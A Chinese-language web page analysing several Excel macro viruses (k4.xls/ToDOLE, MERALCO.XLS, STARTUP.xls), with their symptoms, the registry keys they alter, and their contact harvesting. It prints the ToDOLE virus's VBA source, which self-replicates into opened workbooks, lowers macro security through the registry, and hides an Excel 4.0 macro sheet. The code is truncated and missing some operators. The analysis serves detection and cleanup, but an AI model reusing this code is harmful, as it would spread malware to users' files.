几个常见Excel宏病毒代码分析 |
您所在的位置：网站首页 › sub macro › 几个常见Excel宏病毒代码分析 |
|
目前我遇到过三种Excel宏病毒病毒k4.xls/ToDOLE病毒、MERALCO.XLS/pldt病毒、STARTUP.xls病毒。 病毒会在Excel自动加载宏路径下生成感染源k4.xls/MERALCO.XLS文件，宏代码模块名称为ToDOLE或pldt。因而我这么称呼这几个病毒。以下简要分析以下这几个病毒。 一、关于宏背景知识首先讲解一下Excel的宏病毒，首先宏是嵌入在Excel中运行的程序，宏的执行依赖于Excel。目前所指代的“宏Macro”一般指的是VBA语言编写（Visual Basic for Application），在VB支持Excel开发之前，用的是“宏表”即，在Excel表格中逐行编写。最后一个版本的宏表是“宏4.0”因为功能有限，编写不便，一般开发工作中不再使用，（但Office仍然支持）因为之前没有考虑安全性问题，现在目前大部分的“宏表”均为病毒所利用，例如：k4.xls/ToDOLE病毒用来判断是否启用了宏，如果禁用宏禁止用户打开。 Excel的宏在2003版之前可以保存在xls、xla、xlt等格式文件中，但2007版之后提高了安全性，xlsx格式的文件不再能够保存宏文件。但由于考虑兼容问题，2003版的问题同样适用于之后版本。 并且目前流行的宏病毒都是基于2003版之前的运行机制。以下均适用于2003及之后版本Excel。 二、如何查看宏？打开Excel程序或文件，按快捷键Alt+F11将会调出VBE编辑器。可以查看各个文件中的宏代码。如果快捷键无法调出代码模块，则可能快捷键被占用，或被宏病毒取消（startup.xls病毒会取消快捷键）也可以通过开发选项卡等进入。 三、宏病毒代码特点宏病毒有如下特点 打开Excel或工作簿，并通过上述方法进入代码模块，代码模块中若有“ToDOLE”模块、“pldt”模块、或有k4.xls文件、MERALCO.XLS文件、Startup.xls文件时，则已感染宏病毒。 打开工作簿提示禁用宏，无法打开工作簿。（k4.xls/ToDOLE病毒） � 感染每个打开的工作簿，向每个打开的工作簿中写入病毒代码，并在STARTUP文件夹下创建感染文件，其中STARTUP文件夹下的文件会在打开Excel时自动加载。（上述三个病毒均有此特性）STARTUP文件夹的自动启动可在“信任中心”中取消 � 向注册表中注入，将宏安全性调低，将运行对VBA项目的访问。（k4.xls/ToDOLE病毒）这样用户将不能通过Excel的宏安全性设置更改宏安全性。并获得将宏病毒代码注入所有打开的工作簿的权限。可以通过regedit查看。 "HKEY_CURRENT_USER\Software\Microsoft\Office\版本 \Excel\Security\AccessVBOM" "HKEY_CURRENT_USER\Software\Microsoft\Office\版本\Excel\Security\Level" "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\版本\Excel\Security\AccessVBOM" "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\版本\Excel\Security\Level" 自动发邮件，每天10点、11点、14点、15点自动检查outlook通讯录，并保存通讯录信息。（k4.xls/ToDOLE病毒）生成文件有：D:\Collected_Address:frag1.txt、D:\Collected_Address:frag1.txt、D:\Collected_Address:frag1.txt 自动查看outlook中的通讯录，并将通讯录保存在D盘，相关病毒中间文件保存在E:\KK\下：_clear.vbs、_Search.vbs。（k4.xls/ToDOLE病毒） 将病毒文件发送邮件给所有通讯录成员。相关文件再E:\SORCE下的_Key.vbs、.xls文件。病毒工作簿下的：\TEST.txt、setup.inf、setup.rpt、disk1。并将上述产生所有的文件夹隐藏。（k4.xls/ToDOLE病毒）打开邮件中xls文件，提示用户用_key.vbs进行解锁（实为注入病毒）。 给每个工作表创建名为“Auto_Activate”的名称定义，用于指向“=Macro1!$A$2”，用于宏表启动，有时候杀毒软件杀不彻底时，将会因此提示找不到表。（k4.xls/ToDOLE病毒） 4.病毒查杀实际上这个病毒 放上病毒源码：k4.xls/ToDOLE病毒 Private Sub auto_open() Application.DisplayAlerts = False If ThisWorkbook.Path Application.StartupPath Then Application.ScreenUpdating = False Call delete_this_wk Call copytoworkbook If Sheets(1).Name "Macro1" Then Movemacro4 ThisWorkbook ThisWorkbook.Save Application.ScreenUpdating = True End If End Sub Private Sub copytoworkbook() Const DQUOTE = """" With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule .InsertLines 1, "Public WithEvents xx As Application" .InsertLines 2, "Private Sub Workbook_open()" .InsertLines 3, "Set xx = Application" .InsertLines 4, "On Error Resume Next" .InsertLines 5, "Application.DisplayAlerts = False" .InsertLines 6, "Call do_what" .InsertLines 7, "End Sub" .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)" .InsertLines 9, "On Error Resume Next" .InsertLines 10, "wb.VBProject.References.AddFromGuid _" .InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _" .InsertLines 12, "Major:=5, Minor:=3" .InsertLines 13, "Application.ScreenUpdating = False" .InsertLines 14, "Application.DisplayAlerts = False" .InsertLines 15, "copystart wb" .InsertLines 16, "Application.ScreenUpdating = True" .InsertLines 17, "End Sub" End With End Sub Private Sub delete_this_wk() Dim VBProj As VBIDE.VBProject Dim VBComp As VBIDE.VBComponent Dim CodeMod As VBIDE.CodeModule Set VBProj = ThisWorkbook.VBProject Set VBComp = VBProj.VBComponents("ThisWorkbook") Set CodeMod = VBComp.CodeModule With CodeMod .DeleteLines 1, .CountOfLines End With End Sub Function do_what() If ThisWorkbook.Path Application.StartupPath Then RestoreAfterOpen Call OpenDoor Call Microsofthobby Call ActionJudge End If End Function Function copystart(ByVal wb As Workbook) On Error Resume Next Dim VBProj1 As VBIDE.VBProject Dim VBProj2 As VBIDE.VBProject Set VBProj1 = Workbooks("k4.xls").VBProject Set VBProj2 = wb.VBProject If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function End Function Function copymodule(ModuleName As String, _ FromVBProject As VBIDE.VBProject, _ ToVBProject As VBIDE.VBProject, _ OverwriteExisting As Boolean) As Boolean On Error Resume Next Dim VBComp As VBIDE.VBComponent Dim FName As String Dim CompName As String Dim S As String Dim SlashPos As Long Dim ExtPos As Long Dim TempVBComp As VBIDE.VBComponent If FromVBProject Is Nothing Then copymodule = False Exit Function End If If Trim(ModuleName) = vbNullString Then copymodule = False Exit Function End If If ToVBProject Is Nothing Then copymodule = False Exit Function End If If FromVBProject.Protection = vbext_pp_locked Then copymodule = False Exit Function End If If ToVBProject.Protection = vbext_pp_locked Then copymodule = False Exit Function End If On Error Resume Next Set VBComp = FromVBProject.VBComponents(ModuleName) If Err.Number 0 Then copymodule = False Exit Function End If FName = Environ("Temp") & "\" & ModuleName & ".bas" If OverwriteExisting = True Then If Dir(FName, vbNormal + vbHidden + vbSystem) vbNullString Then Err.Clear Kill FName If Err.Number 0 Then copymodule = False Exit Function End If End If With ToVBProject.VBComponents .Remove .Item(ModuleName) End With Else Err.Clear Set VBComp = ToVBProject.VBComponents(ModuleName) If Err.Number 0 Then If Err.Number = 9 Then Else copymodule = False Exit Function End If End If End If FromVBProject.VBComponents(ModuleName).Export FileName:=FName SlashPos = InStrRev(FName, "\") ExtPos = InStrRev(FName, ".") CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1) Set VBComp = Nothing Set VBComp = ToVBProject.VBComponents(CompName) If VBComp Is Nothing Then ToVBProject.VBComponents.Import FileName:=FName Else If VBComp.Type = vbext_ct_Document Then Set TempVBComp = ToVBProject.VBComponents.Import(FName) With VBComp.CodeModule .DeleteLines 1, .CountOfLines S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines) .InsertLines 1, S End With On Error GoTo 0 ToVBProject.VBComponents.Remove TempVBComp End If End If Kill FName copymodule = True End Function Function Microsofthobby() Dim myfile0 As String Dim MyFile As String On Error Resume Next myfile0 = ThisWorkbook.FullName MyFile = Application.StartupPath & "\k4.xls" If WorkbookOpen("k4.xls") And ThisWorkbook.Path Application.StartupPath Then Workbooks("k4.xls").Close False Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus If ThisWorkbook.Path Application.StartupPath Then Application.ScreenUpdating = False ThisWorkbook.IsAddin = True ThisWorkbook.SaveCopyAs MyFile ThisWorkbook.IsAddin = False Application.ScreenUpdating = True End If End Function Function OpenDoor() Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String Dim KValue1 As Variant, KValue2 As Variant Dim VS As String On Error Resume Next VS = Application.Version Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM" RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level" RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM" RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level" KValue1 = 1 KValue2 = 1 Call WReg(RK1, KValue1, "REG_DWORD") Call WReg(RK2, KValue2, "REG_DWORD") Call WReg(RK3, KValue1, "REG_DWORD") Call WReg(RK4, KValue2, "REG_DWORD") End Function Sub WReg(strkey As String, Value As Variant, ValueType As String) Dim oWshell Set oWshell = CreateObject("WScript.Shell") If ValueType = "" Then oWshell.RegWrite strkey, Value Else oWshell.RegWrite strkey, Value, ValueType End If Set oWshell = Nothing End Sub Private Sub Movemacro4(ByVal wb As Workbook) On Error Resume Next Dim sht As Object wb.Sheets(1).Select Sheets.Add Type:=xlExcel4MacroSheet ActiveSheet.Name = "Macro1" Range("A2").Select ActiveCell.FormulaR1C1 = "=ERROR(FALSE)" Range("A3").Select ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)" Range("A4").Select ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)" Range("A5").Select ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)" Range("A6").Select ActiveCell.FormulaR1C1 = "=END.IF()" Range("A7").Select ActiveCell.FormulaR1C1 = "=RETURN()" For Each sht In wb.Sheets wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False Next wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden End Sub Private Function WorkbookOpen(WorkBookName As String) As Boolean WorkbookOpen = False On Error GoTo WorkBookNotOpen If Len(Application.Workbooks(WorkBookName).Name) > 0 Then WorkbookOpen = True Exit Function End If WorkBookNotOpen: End Function Private Sub ActionJudge() Const T1 As Date = "10:00:00" Const T2 As Date = "11:00:00" Const T3 As Date = "14:00:00" Const T4 As Date = "15:00:00" Dim SentTime As Date, WshShell Set WshShell = CreateObject("WScript.Shell") If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub If Time >= T1 And Time = T3 And Time T2 And Time T4 And Time |
| CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |